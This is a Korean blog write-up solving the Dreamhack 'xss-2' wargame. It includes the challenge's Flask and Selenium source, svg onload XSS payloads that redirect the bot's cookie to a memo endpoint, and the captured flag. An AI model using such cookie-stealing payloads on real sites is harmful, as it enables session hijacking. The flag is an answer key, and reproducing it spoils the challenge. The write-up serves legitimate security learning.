본문 바로가기

Wargame/Dreamhack

[Dreamhack] XSS-2

xss-2 | 워게임 | Dreamhack

 

xss-2

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference ClientSide: XSS

dreamhack.io

 

 

문제 파일을 다운받은 뒤 접속 정보의 파란 링크를 클릭.

 

 

버튼 세개가 뜨는 것을 볼 수 있다.

 

첫번째 버튼 vuln 클릭.

 

 

두번째 버튼 memo 클릭.

 

아까 막 들어갔을 땐 hello가 하나였는데 접속할 때마다 hello가 늘어나는 모양이다.

memo가 flag를 반환해 출력한다는 것이다.

 

 

세번째 버튼 flag 클릭.

 

XSS 필터링이 걸려있어서 input에 입력값을 넣고 XSS 우회를 진행해야 한다고 한다.

 

 

구글에 XSS 우회방법을 검색하면 여러 가지 방법들이 나온다. 그중 <svg onload> 태그를 사용하는 방법을 이용했다.

 

<svg onload=alert(1)>을 실행해보니 vuln 페이지에서 alert 메시지가 출력된다. 그럼 memo에서도 xss 우회가 되지 않을까.

 

왜인지 문제 파일이 실행이 안되어서... 구글링을 해서 코드를 가져왔다.

첫번째 사진의 맨 아래쪽이 키포인트인듯 하다.

 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

 

따라서

<svg onload=location["href"]="http://127.0.0.1:8000/memo?memo="+document.cookie;>

를 입력하고 memo를 확인했다.

 

<svg/onload=location["href"]="http://127.0.0.1:8000/memo?memo="+document["cookie"]>

이어도 되는 것 같다.

 

 

flag 버튼을 눌러 나온 창에 input 하고

memo에 가면

flag가 나와있다!

 

flag=DH{3c01577e9542ec24d68ba0ffb846508f}

 

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] sql injection bypass WAF  (0) 2022.11.12
[Dreamhack] blind sql injection advanced  (0) 2022.11.12
[Dreamhack] CSRF-2  (0) 2022.09.25
[Dreamhack] rev-basic-1  (0) 2022.07.31
[Dreamhack] rev-basic-0  (0) 2022.07.31